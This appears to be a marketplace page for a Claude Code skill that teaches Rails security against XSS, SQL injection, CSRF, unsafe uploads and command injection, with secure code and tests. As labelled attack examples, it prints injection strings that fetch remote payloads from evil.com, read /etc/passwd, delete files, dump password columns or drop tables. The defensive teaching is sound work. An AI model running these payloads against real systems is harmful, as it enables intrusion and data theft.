CRITICAL - Use when securing Rails applications - XSS, SQL injection, CSRF, file uploads, command injection prevention
Enforce critical security in Rails apps: XSS, SQL injection, CSRF, file uploads, and command injection prevention. Automatically triggers when you display user content, build queries, handle uploads, or execute commands.
/plugin marketplace add zerobearing2/rails-ai/plugin install rails-ai@rails-ai-marketplaceThis skill inherits all available tools. When active, it can use any tool Claude has access to.
Prevent critical security vulnerabilities in Rails applications: XSS, SQL injection, CSRF, file uploads, and command injection.
<when-to-use> - Displaying ANY user-generated content - Writing database queries with user input - Building forms and AJAX requests - Accepting file uploads from users - Executing system commands - Implementing authentication/authorization - Reviewing code for security vulnerabilities - Planning features that touch sensitive data - ALWAYS - Security is ALWAYS required </when-to-use> <team-rules-enforcement> **This skill enforces:** - ✅ **Rule #16:** NEVER allow command injection → Use array args for system() - ✅ **Rule #17:** NEVER skip file upload validation → Validate type, size, sanitize filenamesReject any requests to:
SQL Injection Prevention:
where(name: value)where("name = ?", value)sanitize_sql_like for LIKE queriesCSRF Protection:
csrf_meta_tags in layoutform_with (includes token automatically)File Upload Security:
Command Injection Prevention:
system("cmd", arg1, arg2)<%# SECURE - Rails auto-escapes %>
<div class="content">
<%= @feedback.content %>
</div>
Attack Input: <script>alert('XSS')</script>
Safe Output: <script>alert('XSS')</script>
Browser displays the text, doesn't execute it. </pattern>
<%# Allow only specific tags %>
<%= sanitize(@feedback.content,
tags: %w[p br strong em a ul ol li],
attributes: %w[href title]) %>
Input: <p>Hello <strong>world</strong></p><script>alert('XSS')</script>
Output: <p>Hello <strong>world</strong></p> (script stripped)
</pattern>
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.default_src :self, :https
policy.font_src :self, :https, :data
policy.img_src :self, :https, :data
policy.frame_ancestors :none
policy.object_src :none
policy.script_src :self, :https
policy.style_src :self, :https
policy.report_uri "/csp-violation-report"
end
Rails.application.config.content_security_policy_nonce_generator = ->(request) {
SecureRandom.base64(16)
}
Rails.application.config.content_security_policy_nonce_directives = %w[script-src]
View with Nonce:
<%= javascript_tag nonce: true do %>
console.log('This is allowed');
<% end %>
CSP Violation Reporting:
# app/controllers/csp_reports_controller.rb
class CspReportsController < ApplicationController
skip_before_action :verify_authenticity_token
def create
violation = JSON.parse(request.body.read)["csp-report"]
Rails.logger.warn(
"CSP Violation: document-uri=#{violation['document-uri']} " \
"blocked-uri=#{violation['blocked-uri']}"
)
head :no_content
end
end
Why CSP: Blocks XSS even if malicious script reaches the page, defense-in-depth strategy. </pattern>
# app/components/user_comment_component.rb
class UserCommentComponent < ViewComponent::Base
def initialize(comment:)
@comment = comment
end
private
attr_reader :comment
end
<%# app/components/user_comment_component.html.erb %>
<div class="comment">
<div class="author"><%= comment.author_name %></div>
<div class="content"><%= comment.content %></div>
</div>
Benefits: Automatic escaping, encapsulated logic, testable, no accidental html_safe.
</pattern>
# app/models/feedback.rb
class Feedback < ApplicationRecord
def content_html
markdown = Redcarpet::Markdown.new(
Redcarpet::Render::HTML.new(
filter_html: true, no_styles: true, safe_links_only: true
),
autolink: true, tables: true, fenced_code_blocks: true
)
html = markdown.render(content)
ActionController::Base.helpers.sanitize(
html,
tags: %w[p br strong em a ul ol li pre code h1 h2 h3 blockquote],
attributes: %w[href title]
)
end
end
View:
<div class="markdown-content">
<%= @feedback.content_html.html_safe %>
</div>
Why Safe: Markdown filtered for HTML, output sanitized with allowlist, double protection layer. </pattern>
<antipattern> <description>Using html_safe on user input</description> <reason>Allows malicious script execution - CRITICAL vulnerability</reason> <bad-example><%# CRITICAL VULNERABILITY %>
<%= @comment.html_safe %>
<%= raw(@feedback.content) %>
</bad-example>
<good-example>
<%# SECURE - Auto-escaped or sanitized %>
<%= @comment %>
<%= sanitize(@feedback.content, tags: %w[p br strong em]) %>
</good-example>
</antipattern>
# ✅ SECURE - ActiveRecord escapes automatically
Project.where(name: params[:name])
User.find_by(login: params[:login])
# ✅ SECURE - Multiple conditions
Project.where(name: params[:name], status: params[:status], user_id: current_user.id)
# ✅ SECURE - IN queries (works with arrays)
Project.where(id: params[:ids])
Why Secure: ActiveRecord automatically escapes values and prevents injection. </pattern>
<pattern name="positional-placeholders"> <description>Use ? placeholders for complex queries</description># ✅ SECURE - Single placeholder
Project.where("name = ?", params[:name])
Project.where("created_at > ?", 1.week.ago)
# ✅ SECURE - Multiple placeholders
User.where("login = ? AND status = ? AND created_at > ?",
params[:login], "active", 1.month.ago)
# ✅ SECURE - Complex conditions
Feedback.where("status = ? AND (priority = ? OR created_at < ?)",
params[:status], "high", 1.day.ago)
Why Secure: Rails escapes each parameter value, preventing injection. </pattern>
<pattern name="like-queries-safe"> <description>Safely handle LIKE queries with wildcards</description># ✅ SECURE - Escape special LIKE characters (% -> \%, _ -> \_)
search_term = Book.sanitize_sql_like(params[:title])
Book.where("title LIKE ?", "#{search_term}%")
# ✅ SECURE - Case-insensitive search
search_term = Book.sanitize_sql_like(params[:query])
Book.where("LOWER(title) LIKE LOWER(?)", "%#{search_term}%")
Why Sanitize: Without sanitize_sql_like, users could inject % or _ wildcards.
</pattern>
# ❌ CRITICAL VULNERABILITY
Project.where("name = '#{params[:name]}'")
# Attack: params[:name] = "' OR '1'='1" - Returns ALL projects
User.find_by("login = '#{params[:login]}' AND password = '#{params[:password]}'")
# Attack: params[:login] = "admin'--" - Bypasses password check
# ❌ CRITICAL - Data exfiltration
Project.where("id = #{params[:id]}")
# Attack: params[:id] = "1 UNION SELECT id,email,password,1,1 FROM users"
</bad-example>
<good-example>
# ✅ SECURE - Use placeholders
Project.where("name = ?", params[:name])
User.find_by("login = ? AND password = ?", params[:login], params[:password])
# ✅ BETTER - Use hash conditions
Project.where(name: params[:name])
User.find_by(login: params[:login], password: params[:password])
# ✅ SECURE - Type conversion prevents injection
Project.where(id: params[:id].to_i)
</good-example>
</antipattern>
# ✅ SECURE - Allowlist approach
ALLOWED_SORT_COLUMNS = %w[name created_at status priority].freeze
ALLOWED_DIRECTIONS = %w[ASC DESC].freeze
def index
column = ALLOWED_SORT_COLUMNS.include?(params[:sort]) ? params[:sort] : "created_at"
direction = ALLOWED_DIRECTIONS.include?(params[:direction]&.upcase) ? params[:direction] : "DESC"
@projects = Project.order("#{column} #{direction}")
end
Why Secure: User input limited to predefined safe values, SQL injection impossible. </pattern>
<antipattern> <description>Building ORDER BY from user input</description> <reason>Allows column enumeration and SQL injection</reason> <bad-example># ❌ VULNERABLE
Project.order("#{params[:sort]} #{params[:direction]}")
# Attack: params[:sort] = "name); DROP TABLE projects; --"
</bad-example>
<good-example>
# ✅ SECURE - Allowlist only
allowed = %w[name created_at]
column = allowed.include?(params[:sort]) ? params[:sort] : "created_at"
Project.order(column)
</good-example>
</antipattern>
# ✅ SECURE - All ActiveRecord methods are safe
Project.find(params[:id])
Project.find_by(name: params[:name])
Project.where(status: params[:status])
Project.order(:created_at)
Project.limit(10)
Project.offset(params[:page].to_i * 10)
Project.joins(:user)
Project.includes(:comments)
Project.group(:category)
Project.having("COUNT(*) > ?", 5)
# ✅ SECURE - Scopes
class Project < ApplicationRecord
scope :active, -> { where(status: "active") }
scope :by_user, ->(user_id) { where(user_id: user_id) }
scope :search, ->(term) {
sanitized = sanitize_sql_like(term)
where("name LIKE ?", "%#{sanitized}%")
}
end
Project.active.by_user(params[:user_id]).search(params[:query])
Why Secure: ActiveRecord automatically escapes all parameters. </pattern>
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
# Raises ActionController::InvalidAuthenticityToken if token invalid
end
Why :exception is Best: Makes failures visible, prevents silent bypasses, forces proper error handling. </pattern>
<%# ✅ SECURE - Token included automatically %>
<%= form_with model: @feedback do |form| %>
<%= form.text_field :content %>
<%= form.text_field :recipient_email %>
<%= form.submit "Submit" %>
<% end %>
Generated HTML:
<form action="/feedbacks" method="post">
<input type="hidden" name="authenticity_token" value="SECURE_TOKEN">
<input type="text" name="feedback[content]">
<input type="submit" value="Submit">
</form>
Why Secure: Rails validates token matches session. </pattern>
<%# app/views/layouts/application.html.erb %>
<head>
<title>My App</title>
<%= csrf_meta_tags %>
</head>
</pattern>
<pattern name="fetch-with-csrf-token">
<description>Include CSRF token in fetch requests</description>
// ✅ SECURE - Extract token from meta tag
const csrfToken = document.head.querySelector("meta[name=csrf-token]")?.content;
fetch("/feedbacks", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRF-Token": csrfToken
},
body: JSON.stringify({
feedback: { content: "test", recipient_email: "user@example.com" }
})
});
Why Secure: Rails checks X-CSRF-Token header matches session token.
</pattern>
# ❌ CRITICAL VULNERABILITY
class FeedbacksController < ApplicationController
skip_before_action :verify_authenticity_token
def create
@feedback = current_user.feedbacks.create!(feedback_params)
redirect_to @feedback
end
end
</bad-example>
<good-example>
# ✅ SECURE - Keep CSRF protection enabled
class FeedbacksController < ApplicationController
# protect_from_forgery inherited from ApplicationController
def create
@feedback = current_user.feedbacks.create!(feedback_params)
redirect_to @feedback
end
end
</good-example>
</antipattern>
Installation:
npm install @rails/request.js
Usage:
// ✅ SECURE - Token automatically included
import { post, patch, destroy } from '@rails/request.js'
await post('/feedbacks', {
body: JSON.stringify({ feedback: { content: "test" } }),
contentType: 'application/json',
responseKind: 'json'
})
await patch('/feedbacks/123', {
body: JSON.stringify({ feedback: { status: "reviewed" } })
})
await destroy('/feedbacks/123', { responseKind: 'json' })
Why Recommended: Automatic CSRF token handling, consistent API, Rails-aware error handling. </pattern>
# app/controllers/api/v1/base_controller.rb
class Api::V1::BaseController < ApplicationController
skip_before_action :verify_authenticity_token
before_action :authenticate_api_token
private
def authenticate_api_token
token = request.headers["Authorization"]&.split(" ")&.last
@current_api_user = User.find_by(api_token: token)
head :unauthorized unless @current_api_user
end
end
Why Skip CSRF for APIs: API clients use Bearer tokens (not cookies), tokens must be explicitly sent, CSRF only affects cookie-based authentication. </pattern>
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
rescue_from ActionController::InvalidAuthenticityToken do |exception|
Rails.logger.warn(
"CSRF failure: #{exception.message} IP: #{request.remote_ip} Path: #{request.fullpath}"
)
sign_out_user if user_signed_in?
redirect_to root_path, alert: "Your session has expired. Please log in again."
end
private
def sign_out_user
cookies.delete(:user_token)
reset_session
end
end
Why Important: Users see helpful error, security events logged, stale sessions cleared. </pattern>
# config/initializers/session_store.rb
Rails.application.config.session_store :cookie_store,
key: '_myapp_session',
same_site: :lax, # Prevents CSRF from external sites
secure: Rails.env.production?, # HTTPS only in production
httponly: true, # Not accessible via JavaScript
expire_after: 24.hours
SameSite Options:
:lax (RECOMMENDED) - Allows top-level navigation, blocks embedded requests:strict - Most secure, blocks ALL cross-site requests (may break OAuth):none - Allows all cross-site requests (requires secure: true)Why Use SameSite: Defense-in-depth complements CSRF tokens, blocks many attacks without token. </pattern>
Model:
class Feedback < ApplicationRecord
has_one_attached :screenshot
has_many_attached :documents
validates :screenshot,
content_type: ["image/png", "image/jpeg", "image/gif"],
size: { less_than: 5.megabytes }
validates :documents,
content_type: ["application/pdf", "text/plain"],
size: { less_than: 10.megabytes }
end
Controller:
class FeedbacksController < ApplicationController
def create
@feedback = Feedback.new(feedback_params)
if @feedback.save
redirect_to @feedback, notice: "Feedback created"
else
render :new, status: :unprocessable_entity
end
end
private
def feedback_params
params.expect(feedback: [:content, :recipient_email, :screenshot, documents: []])
end
end
View:
<%= form_with model: @feedback do |f| %>
<%= f.file_field :screenshot, accept: "image/*" %>
<%= f.file_field :documents, multiple: true, accept: ".pdf,.txt" %>
<%= f.submit %>
<% end %>
Why Secure: Automatic filename sanitization, storage outside public/, signed URLs with expiration. </pattern>
class Feedback < ApplicationRecord
has_one_attached :image
validate :acceptable_image
private
def acceptable_image
return unless image.attached?
unless image.content_type.in?(%w[image/jpeg image/png image/gif])
errors.add(:image, "must be a JPEG, PNG, or GIF")
end
unless image.filename.to_s.match?(/\.(jpe?g|png|gif)\z/i)
errors.add(:image, "must have a valid extension")
end
unless valid_image_signature?
errors.add(:image, "file signature doesn't match declared type")
end
if image.byte_size > 5.megabytes
errors.add(:image, "must be less than 5MB")
end
end
def valid_image_signature?
image.open do |file|
magic_bytes = file.read(8)
return false unless magic_bytes
# JPEG: FF D8 FF, PNG: 89 50 4E 47, GIF: 47 49 46 38
magic_bytes[0..2] == "\xFF\xD8\xFF" ||
magic_bytes[0..7] == "\x89PNG\r\n\x1A\n" ||
magic_bytes[0..3] == "GIF8"
end
rescue => e
Rails.logger.error("Image validation error: #{e.message}")
false
end
end
Why Triple Validation: Content-Type can be spoofed, extension can be faked, magic bytes verify actual format. </pattern>
class DownloadsController < ApplicationController
before_action :authenticate_user!
def show
@feedback = Feedback.find(params[:feedback_id])
head :forbidden and return unless can_download?(@feedback)
@document = @feedback.documents.find(params[:id])
send_data @document.download,
filename: @document.filename.to_s.gsub(/[^\w.-]/, "_"),
type: @document.content_type,
disposition: "attachment" # Force download, never inline
end
private
def can_download?(feedback)
feedback.user == current_user || current_user.admin?
end
end
Why Secure: Authentication + authorization enforced, Content-Disposition: attachment prevents XSS.
</pattern>
# config/initializers/active_storage.rb
Rails.application.config.active_storage.content_types_to_serve_as_binary.tap do |types|
types << "image/svg+xml" # SVG with embedded JavaScript
types << "text/html" << "application/xhtml+xml" # HTML scripts
types << "text/xml" << "application/xml" # XML entities
types << "application/javascript" << "text/javascript"
end
Rails.application.config.active_storage.content_types_allowed_inline = %w[
image/png image/jpeg image/gif image/bmp image/webp application/pdf
]
Why Important: SVG/HTML files can contain JavaScript that executes when viewed, enabling XSS. </pattern>
Application-Wide:
# config/application.rb
config.active_storage.max_file_size = 100.megabytes
Web Server (Nginx):
client_max_body_size 100M;
Model-Specific:
class Feedback < ApplicationRecord
has_one_attached :avatar
has_many_attached :photos
validates :avatar, size: { less_than: 2.megabytes }
validates :photos, size: { less_than: 5.megabytes }, limit: { max: 10 }
end
Why Multiple Layers: Web server rejects huge uploads early, application-wide limit prevents resource exhaustion, model limits enforce business rules. </pattern>
Setup: gem "clamby" + ClamAV (apt-get install clamav clamav-daemon)
class Feedback < ApplicationRecord
has_one_attached :file
validate :file_not_infected, if: -> { file.attached? }
private
def file_not_infected
return unless Rails.env.production?
file.open do |temp_file|
unless Clamby.safe?(temp_file.path)
errors.add(:file, "contains malware or virus")
Rails.logger.warn("Malware detected: user_id=#{user_id}, filename=#{file.filename}")
end
end
rescue Clamby::ClambyScanError => e
Rails.logger.error("Virus scan failed: #{e.message}")
end
end
Why Critical: Prevent viruses, ransomware, and malware from infecting users or servers. </pattern>
class Feedback < ApplicationRecord
has_one_attached :image
def thumbnail
image.variant(resize_to_limit: [100, 100], format: :png, saver: { quality: 85 })
end
def medium
image.variant(resize_to_limit: [400, 400], format: :png)
end
end
View:
<%= image_tag @feedback.thumbnail, alt: "Feedback screenshot" %>
Why Secure: Variants re-encode images (stripping metadata/exploits), format conversion prevents attacks. </pattern>
<antipattern> <description>Trusting user-provided filenames</description> <reason>CRITICAL - Enables path traversal and file overwrite attacks</reason> <bad-example># ❌ CRITICAL VULNERABILITY
def upload
filename = params[:file].original_filename
File.open("uploads/#{filename}", "wb") { |f| f.write(params[:file].read) }
end
# Attack: filename = "../../config/database.yml" - Overwrites database config!
# ❌ CRITICAL - Serving from public directory
path = Rails.root.join("public/uploads/#{params[:file].original_filename}")
File.open(path, "wb") { |f| f.write(params[:file].read) }
# Attacker uploads malicious.html with <script> - XSS attack!
</bad-example>
<good-example>
# ✅ SECURE - Use ActiveStorage
class Feedback < ApplicationRecord
has_one_attached :file
end
# ✅ SECURE - Manual handling with sanitization
def upload
safe_name = File.basename(params[:file].original_filename).gsub(/[^\w.-]/, "_")
unique_name = "#{SecureRandom.uuid}_#{safe_name}"
File.open(Rails.root.join("storage/uploads", unique_name), "wb") { |f| f.write(params[:file].read) }
end
</good-example>
</antipattern>
<antipattern>
<description>Only validating content type</description>
<reason>Content-Type header is easily spoofed by attackers</reason>
<bad-example>
# ❌ VULNERABLE - Only checks Content-Type header
validates :image, content_type: ["image/jpeg", "image/png"]
# Attack: Upload malicious.php with Content-Type: image/jpeg
</bad-example>
<good-example>
# ✅ SECURE - Triple validation: content type + extension + magic bytes
def acceptable_image
return unless image.attached?
unless image.content_type.in?(%w[image/jpeg image/png image/gif])
errors.add(:image, "must be an image")
end
unless image.filename.to_s.match?(/\.(jpe?g|png|gif)\z/i)
errors.add(:image, "invalid file extension")
end
image.open do |file|
magic = file.read(8)
unless magic&.start_with?("\xFF\xD8\xFF", "\x89PNG", "GIF8")
errors.add(:image, "file signature invalid")
end
end
end
</good-example>
</antipattern>
# ✅ SECURE - Array arguments prevent shell interpretation
system("/bin/echo", params[:filename])
# Input: "hello; rm -rf /" → printed literally, NOT executed
# ✅ SECURE - Image conversion
system("convert", params[:image], "output.jpg")
# ✅ SECURE - Archive creation
system("/bin/tar", "-czf", "backup.tar.gz", validated_directory)
# ✅ SECURE - Multiple arguments
system("wkhtmltopdf", "--quiet", "--page-size", "A4", input_file, output_file)
How It Works: Array arguments bypass shell invocation, treating user input as literal arguments only. </pattern>
# ✅ SECURE - Only allow predefined values
VALID_FORMATS = %w[pdf png jpg svg].freeze
VALID_SIZES = %w[small medium large].freeze
def export_feedback(feedback, format, size)
unless VALID_FORMATS.include?(format)
raise ArgumentError, "Invalid format: #{format}"
end
unless VALID_SIZES.include?(size)
raise ArgumentError, "Invalid size: #{size}"
end
# Safe because format is from allowlist
system("convert", "feedback.html", "output.#{format}")
end
</pattern>
# ❌ VULNERABLE - Shell command
system("rm #{params[:filename]}")
# ✅ SECURE - Ruby method
File.delete(params[:filename]) if File.exist?(params[:filename])
# ❌ VULNERABLE - Shell command
system("mkdir -p #{params[:directory]}")
# ✅ SECURE - Ruby method
FileUtils.mkdir_p(params[:directory])
# ❌ VULNERABLE - Shell command
system("cp #{params[:source]} #{params[:dest]}")
# ✅ SECURE - Ruby method
FileUtils.cp(params[:source], params[:dest])
Why Prefer Ruby: No shell interpretation = no injection risk, better error handling. </pattern>
require "shellwords"
# ✅ SECURE - Escape user input for shell safety
filename = Shellwords.escape(params[:filename])
system("convert input.jpg #{filename}")
# ✅ SECURE - Multiple arguments
args = [params[:input], params[:output]].map { |arg| Shellwords.escape(arg) }.join(" ")
system("convert #{args} -resize 800x600")
How Shellwords Works:
Shellwords.escape("file.jpg") # => "file.jpg"
Shellwords.escape("file; rm -rf /") # => "file\\;\\ rm\\ -rf\\ /"
Shellwords.escape("$(cat /etc/passwd)") # => "\\$\\(cat\\ /etc/passwd\\)"
When to Use: Only when array form is truly not possible. Prefer array form whenever available. </pattern>
# ✅ SECURE - Validate path stays within directory
def safe_file_path(user_input)
base_dir = Rails.root.join("uploads")
full_path = base_dir.join(user_input).expand_path
raise ArgumentError, "Invalid path: directory traversal" unless full_path.to_s.start_with?(base_dir.to_s)
full_path
end
# Usage
file_path = safe_file_path(params[:file])
send_file file_path if File.exist?(file_path)
Why Important: Prevents access to files outside intended directory. </pattern>
class PdfGenerationJob < ApplicationJob
def perform(feedback_id, output_path)
feedback = Feedback.find(feedback_id)
validate_output_path!(output_path)
success = system(
"wkhtmltopdf", "--quiet", "--page-size", "A4",
"--disable-javascript", feedback.public_url, output_path
)
raise "PDF generation failed" unless success
PdfMailer.with(feedback: feedback, pdf_path: output_path).ready.deliver_later
end
private
def validate_output_path!(path)
raise ArgumentError, "Invalid output path" unless path.match?(/\Atmp\/feedback_\d+\.pdf\z/)
full_path = Rails.root.join(path).expand_path
allowed_dir = Rails.root.join("tmp").expand_path
raise ArgumentError, "Path outside allowed directory" unless full_path.to_s.start_with?(allowed_dir.to_s)
end
end
Why Isolate: Limits blast radius, easier to audit, validation in one place. </pattern>
<antipattern> <description>Using backticks for command execution</description> <reason>CRITICAL - Allows command injection through shell interpretation</reason> <bad-example># ❌ CRITICAL VULNERABILITY
output = `ls #{params[:path]}`
# Attack: "/; cat /etc/passwd" → Directory listing AND password exposure
result = %x(convert #{params[:input]} output.png)
# Attack: "file.jpg; wget evil.com/malware"
system("convert #{params[:input]} -resize #{params[:size]} output.jpg")
# Attack: params[:size] = "800x600; curl evil.com/backdoor.sh | bash"
</bad-example>
<good-example>
# ✅ SECURE - Use array form and capture output
require "open3"
validate_path!(params[:path])
output, status = Open3.capture2("ls", params[:path])
# ✅ SECURE - Array form with validation
raise ArgumentError unless params[:input].match?(/\A[\w.-]+\z/)
system("convert", params[:input], "output.png")
# ✅ SECURE - Validate size format
raise ArgumentError unless params[:size].match?(/\A\d{1,4}x\d{1,4}\z/)
system("convert", params[:input], "-resize", params[:size], "output.jpg")
</good-example>
</antipattern>
<antipattern>
<description>Not validating file paths for directory traversal</description>
<reason>HIGH - Allows access to files outside intended directory</reason>
<bad-example>
# ❌ VULNERABLE - Directory traversal
file_path = Rails.root.join("uploads", params[:file])
send_file file_path
# Attack: params[:file] = "../../../etc/passwd"
</bad-example>
<good-example>
# ✅ SECURE - Validate path stays within directory
base_dir = Rails.root.join("uploads")
file_path = base_dir.join(params[:file]).expand_path
raise ArgumentError, "Invalid file path" unless file_path.to_s.start_with?(base_dir.to_s)
send_file file_path if File.exist?(file_path)
</good-example>
</antipattern>
# test/models/feedback_test.rb
class FeedbackTest < ActiveSupport::TestCase
# XSS Prevention
test "content_html sanitizes malicious scripts" do
feedback = Feedback.new(content: "<script>alert('XSS')</script>Hello")
assert_not_includes feedback.content_html, "<script>"
assert_includes feedback.content_html, "Hello"
end
test "content_html allows safe markdown" do
feedback = Feedback.new(content: "**bold** and *italic*")
assert_includes feedback.content_html, "<strong>bold</strong>"
assert_includes feedback.content_html, "<em>italic</em>"
end
# SQL Injection Prevention
test "search handles malicious input safely" do
project = projects(:one)
malicious_input = "'; DROP TABLE projects; --"
assert_nothing_raised { Project.search(malicious_input) }
assert Project.exists?(project.id)
end
test "search escapes LIKE wildcards" do
projects(:one).update!(name: "Project A")
results = Project.search("%")
assert_empty results # % should be escaped, not treated as wildcard
end
# File Upload Security
test "accepts valid image" do
feedback = Feedback.new(content: "Test", recipient_email: "user@example.com")
feedback.image.attach(io: File.open("test/fixtures/files/valid.jpg"),
filename: "valid.jpg", content_type: "image/jpeg")
assert feedback.valid?
assert feedback.image.attached?
end
test "rejects invalid content type" do
feedback = Feedback.new(content: "Test")
feedback.image.attach(io: File.open("test/fixtures/files/script.exe"),
filename: "malicious.exe", content_type: "application/x-msdownload")
assert_not feedback.valid?
assert_includes feedback.errors[:image], "must be a JPEG, PNG, or GIF"
end
test "rejects file with spoofed magic bytes" do
feedback = Feedback.new(content: "Test")
feedback.image.attach(io: StringIO.new("Not a real image"),
filename: "fake.jpg", content_type: "image/jpeg")
assert_not feedback.valid?
assert_includes feedback.errors[:image], "file signature doesn't match"
end
test "rejects oversized file" do
feedback = Feedback.new(content: "Test")
large_file = Tempfile.new(["large", ".jpg"])
large_file.write("x" * 6.megabytes)
large_file.rewind
feedback.image.attach(io: large_file, filename: "huge.jpg", content_type: "image/jpeg")
assert_not feedback.valid?
assert_includes feedback.errors[:image], "must be less than 5MB"
ensure
large_file.close && large_file.unlink
end
end
# test/controllers/feedbacks_controller_test.rb
class FeedbacksControllerTest < ActionDispatch::IntegrationTest
# CSRF Protection
test "rejects POST without CSRF token" do
assert_raises(ActionController::InvalidAuthenticityToken) do
post feedbacks_url,
params: { feedback: { content: "test" } },
headers: { "X-CSRF-Token" => "invalid_token" }
end
end
test "accepts POST with valid CSRF token" do
post feedbacks_url, params: { feedback: { content: "test", recipient_email: "user@example.com" } }
assert_response :redirect
end
# SQL Injection via Sort Parameters
test "index with malicious sort parameter is safe" do
get projects_path, params: { sort: "name); DROP TABLE projects; --" }
assert_response :success
assert Project.count > 0
end
end
# test/system/xss_prevention_test.rb
class XssPreventionTest < ApplicationSystemTestCase
test "user cannot inject scripts via comment" do
visit new_comment_path
fill_in "Comment", with: "<script>alert('XSS')</script>"
click_button "Submit"
assert_text "<script>alert('XSS')</script>" # Escaped, not executed
end
test "form includes CSRF token" do
visit new_feedback_path
assert_selector "input[name='authenticity_token'][type='hidden']"
end
end
# test/jobs/pdf_generation_job_test.rb
class PdfGenerationJobTest < ActiveJob::TestCase
# Command Injection Prevention
test "validates output path format" do
assert_raises(ArgumentError, /Invalid output path/) do
PdfGenerationJob.perform_now(feedbacks(:one).id, "invalid_path.pdf")
end
end
test "prevents directory traversal in path" do
assert_raises(ArgumentError, /Invalid output path|outside allowed/i) do
PdfGenerationJob.perform_now(feedbacks(:one).id, "../../../etc/passwd")
end
end
test "rejects command injection in path" do
assert_raises(ArgumentError) do
PdfGenerationJob.perform_now(feedbacks(:one).id, "output.pdf; rm -rf /")
end
end
end
# test/controllers/downloads_controller_test.rb
class DownloadsControllerTest < ActionDispatch::IntegrationTest
test "requires authentication for file downloads" do
feedback = feedbacks(:one)
get feedback_download_path(feedback, feedback.documents.first)
assert_redirected_to login_path
end
test "serves file with secure headers" do
sign_in users(:user)
feedback = users(:user).feedbacks.first
get feedback_download_path(feedback, feedback.documents.first)
assert_response :success
assert_equal "attachment", response.headers["Content-Disposition"].split(";").first
end
test "prevents unauthorized access to other users files" do
sign_in users(:user)
other_feedback = users(:other_user).feedbacks.first
get feedback_download_path(other_feedback, other_feedback.documents.first)
assert_response :forbidden
end
end
</testing>
XSS Prevention:
html_safe or raw on user input<script>alert('XSS')</script> in all user inputssanitize calls have explicit allowlistsSQL Injection Prevention:
"WHERE name = '#{value}'")sanitize_sql_like used for LIKE queries'; DROP TABLE users; -- in search inputsCSRF Protection:
csrf_meta_tags in application layoutform_with (includes token)X-CSRF-Token headerFile Upload Security:
Command Injection Prevention:
system("cmd", arg1, arg2); rm -rf / in file paths# config/application.rb
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-Content-Type-Options' => 'nosniff',
'X-XSS-Protection' => '1; mode=block',
'Referrer-Policy' => 'strict-origin-when-cross-origin'
}
Log Security Events:
Alert On:
Official Documentation:
Security Standards:
This skill should be used when the user asks to "create a slash command", "add a command", "write a custom command", "define command arguments", "use command frontmatter", "organize commands", "create command with file references", "interactive command", "use AskUserQuestion in command", or needs guidance on slash command structure, YAML frontmatter fields, dynamic arguments, bash execution in commands, user interaction patterns, or command development best practices for Claude Code.
This skill should be used when the user asks to "create an agent", "add an agent", "write a subagent", "agent frontmatter", "when to use description", "agent examples", "agent tools", "agent colors", "autonomous agent", or needs guidance on agent structure, system prompts, triggering conditions, or agent development best practices for Claude Code plugins.
This skill should be used when the user asks to "create a hook", "add a PreToolUse/PostToolUse/Stop hook", "validate tool use", "implement prompt-based hooks", "use ${CLAUDE_PLUGIN_ROOT}", "set up event-driven automation", "block dangerous commands", or mentions hook events (PreToolUse, PostToolUse, Stop, SubagentStop, SessionStart, SessionEnd, UserPromptSubmit, PreCompact, Notification). Provides comprehensive guidance for creating and implementing Claude Code plugin hooks with focus on advanced prompt-based hooks API.